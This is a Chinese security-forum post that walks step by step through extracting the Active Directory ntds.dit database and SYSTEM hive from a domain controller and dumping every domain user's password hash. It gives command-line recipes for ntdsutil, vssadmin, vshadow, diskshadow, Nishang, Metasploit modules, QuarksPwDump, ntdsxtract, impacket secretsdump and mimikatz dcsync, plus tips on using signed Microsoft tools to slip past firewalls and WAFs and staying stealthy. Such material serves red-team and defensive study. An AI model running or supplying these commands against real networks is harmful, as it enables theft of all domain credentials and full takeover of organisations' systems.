安全矩阵

 找回密码
 立即注册
搜索
查看: 3003|回复: 0

ntds.dit导出与利用总结

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-4-26 10:57:13 | 显示全部楼层 |阅读模式
ntds.dit导出与利用总结         
介绍
Ntds.dit(也被称为Active Directory database),默认路径为:C:\Windows\NTDS,且只能通过域控制器进程和协议访问。

直接复制是无法复制出来的,会弹出提示框,提示文件已在Encrypting File System(EFS)中打开


Ntdsutil工具提取方法
Ntdsutil介绍:
ntdsutil.exe是一个Active Directory提供管理设施的命令行工具。可使用ntdsutil.exe执行Active Directory的数据库维护,管理和控制单个主机操作,创建应用程序目录分区,以及删除由未使用Active Directory安装向导(DCPromp.exe)成功降级的域控制器留下的元数据,该工具默认被安装在域控制器上,我们可以在域控制器上进行操作,也可以通过域内机器远程在域控制器上操作
支持的操作系统:Server 2003、Server 2008、Server 2012
创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit

查看快照是否创建成功:
ntdsutil snapshot "List All" quit quit

挂载快照:
ntdsutil snapshot "mount {GUID}" quit quit

拷贝快照:
copy C:\$SNAP_202202281107_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit

复制文件:
这样子就可以把ntds文件复制出来了

卸载并删除快照:
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

vssadmin工具提取
vssadmin介绍:
vssadmin1是Windows Server 2008及Windows 7系统提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统Provider创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的“diff空间”)的大小等。支持的操作系统:Server 2008、Server 2012
创建快照:
vssadmin create shadow /for=c:

复制文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit


删除快照:
vssadmin delete shadows /for=c: /quiet

vssown.vbs
vssown介绍:
vssown.vbs和vssadmin类似,它是由Tim Tomes开发完成的,它可以创建和删除卷影副本,以及启动和停止卷影复制服务。下载地址:
https://github.com/lanmaster53/p ... /windows/vssown.vbs
启动卷影复制服务:
cscript vssown.vbs /start

创建一个C盘的卷影副本:
cscript vssown.vbs /create c

列出当前卷影副本:
cscript vssown.vbs /list

复制文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

删除卷影副本:
cscript vssown.vbs /delete {ID}

NTDSUTIL的IFM
将ntds.dit复制到C盘下的test文件夹中的Active Directory文件夹中:
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q将ntds.dit复制到C盘下的test文件夹中的Active Directory文件夹中:


Nishang
Nishang介绍:
Nishang 是一个框架和脚本和有效负载的集合,它支持使用 PowerShell 进行攻击性安全、渗透测试和红队。Nishang 在渗透测试的所有阶段都很有用。其中Copy-VSS.ps1脚本,可以有效的下载地址:https://github.com/samratashok/nishang
导入Copy-VSS.ps1:
import-module .\Copy-VSS.ps1

执行命令:
Copy-vss

vshadow
vshadow介绍:
vshadow是一个简单的指令行工具,它允许任何人创建卷影拷贝。因为是微软自带的,所以可以有效的Bypass防火墙。下载地址:
https://developer.microsoft.com/ ... nloads/sdk-archive/
vshadow创建快照:
vshadow.exe -p -nw C:

vshadow查看快照:
vshadow.exe -q

复制文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

vshadow删除快照:
vshadow.exe -da

diskshadow
diskshadow介绍:
DiskShadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。默认配置下DiskShadow.exe使用了一种交互式命令解释器,这里跟DiskRaid或DiskPart比较类似。事实上,因为DiskShadow的代码是由微软官方签名的,而且在Windows Server 2008、Windows Server 2012和Windows Server 2016中默认包含了DiskShadow。DiskShadow.exe也是可以用来操作VSS导出ntds.dit,其功能上类似vshadow。它同样是被放在了c:\windows\system32目录中,而vshadow则是被包含在windowsSDK中,实战中可能还需要想办法传到目标机器上,也就是说,diskshadow在我们实际渗透过程中更便于在目标系统上使用。diskshadow拥有交互模式和非交互模式两种,交互模式需要登录远程桌面等图形化管理方法,不利于隐蔽的进行渗透,所以我们一般使用非交互模式进行操作。因为不论是交互模式还是非交互模式都可以使用EXEC通过调取一个脚本文件执行相关命令
diskshadow基础用法:
先写一个执行计算机的命令保存到c盘
echo exec C:\Windows\System32\calc.exe > c:\command.txt
然后使用diskshadow执行即可打开计算机,使用此方法还可以绕过很多waf,比如powershell无文件落地,因为diskshadow自带微软官方签名
diskshadow.exe /s c:\command.txt

diskshadow提取ntds.dit:
把以下代码保存到txt并执行
set context persistent nowritersadd volume c: alias someAliascreateexpose %someAlias% k:exec “cmd.exe” /c copy K:\Windows\NTDS\ntds.dit c:\ntds.ditdelete shadows alllist shadows allresetexit

可以看到多出来了一个盘,这个盘的windows\NTDS\文件夹是可以复制出来的

使用Metasploit获取域散列
msf中可能用到的模块
post/windows/gather/ntds_location 该模块可查看ntds路径post/windows/gather/smart_hashdump 在线导出域账号hash(建议在2012以上使用)auxiliary/admin/smb/psexec_ntdsgrad 利用域管账号,导出ntds必要文件到本地post/windows/gather/ntds_grabber 利用powershell将ntds必要文件下载到本地后导出post/windows/gather/credentials/domain_hashdump 介绍其方法模块:post/windows/gather/ntds_location
该模块可查看ntds路径,首先获取一个域控的shell

获取shell之后,使用模块进行查找路径:
msf6 > search ntdsmsf6 > use post/windows/gather/ntds_locationmsf6 post(windows/gather/ntds_location) > set SESSION 1msf6 post(windows/gather/ntds_location) > run

模块:post/windows/gather/smart_hashdump
在线导出域账号hash(建议在2012以上使用)
msf6 > search smart_hashmsf6 > use post/windows/gather/smart_hashdumpmsf6 post(windows/gather/smart_hashdump) > set SESSION 1msf6 post(windows/gather/smart_hashdump) > run

模块:auxiliary/admin/smb/psexec_ntdsgrad
利用域管账号,导出ntds必要文件到本地
msf6 > search ntdsmsf6 > use auxiliary/admin/smb/psexec_ntdsgrabmsf6 auxiliary(admin/smb/psexec_ntdsgrab) > set RHOSTS 172.16.1.169msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBDomain 域名msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBUser 用户名msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBPass 密码msf6 auxiliary(admin/smb/psexec_ntdsgrab) > run

模块:post/windows/gather/ntds_grabber
利用powershell将ntds必要文件下载到本地后导出msf6 > search ntds_grabbermsf6 > use post/windows/gather/ntds_grabbermsf6 post(windows/gather/smart_hashdump) > set SESSION 1msf6 post(windows/gather/smart_hashdump) > run

QuarksPwDump导出域账号域散列值
QuarksPwDump介绍:
QuarksPwDump是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker等等。
下载地址:https://github.com/tuthimi/quarkspwdump/
从注册表抓取System:
reg save hklm\system system.hive

修复ntds.dit:
esentutl /p /o ntds.dit
QuarksPwDump导出域用户hash到log.txt:
QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt

使用esedbexport恢复ntds.dit
安装依赖:
sudo apt-get install autoconf automake autopoint libtool pkg-config

安装libesedb:
下载地址:https://github.com/libyal/libesedb

进行安装
wget https://github.com/libyal/libese ... tal-20200418.tar.gztar zvxf libesedb-experimental-20200418.tar.gz./configuresudo make && make install && ldconfigsudo ldconfigesedbtools/esedbexport

使用libesedb提取信息:
esedbexport -m tables ntds.dit

提取完了后会出现一个文件夹,里面存放了很多个表

安装ntdsxtract:
git clone https://github.com/csababarta/ntdsxtract.gitcd ntdsxtract/python setup.py build && python setup.py install

安装完成后将提取出的tds.dit.export文件夹中的datatable.3和link_table.5文件,以及System文件一起放入ntdsxtract文件夹,system文件位置在
C:\Windows\System32\config
如果复制不出来可以使用diskshadow,或者从注册表中导出
reg save hklm\system system.hive
然后使用以下命令将域内的所有用户及散列值导出到result.txt文件中
python dsusers.py datatable.3 link_table.5 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txt
使用impacket导出Hash
介绍:
Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的低级编程访问,对于某些协议(如SMB1-3和MSRPC),提供协议实现本身。数据包可以从零开始构造,也可以从原始数据解析,而面向对象的API使使用深层协议层次结构变得简单。
下载:
git clone https://github.com/SecureAuthCorp/impacket.gitpython setup.py install导出Hash:
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

利用Dcsync获取域用户Hash
介绍:
Mimikatz有一个名为dcsync的功能,它利用目录复制服务直接读取ntds.dit文件检索哈希值,但是必须使用域管理员权限运行mimikatz才可以读取ntds.dit
使用方法:
lsadump::dcsync /domain:god.org /all /csv
指定某个用户:
lsadump::dcsync /domain:god.org /all /user:Administrator



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 12:42 , Processed in 0.016070 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表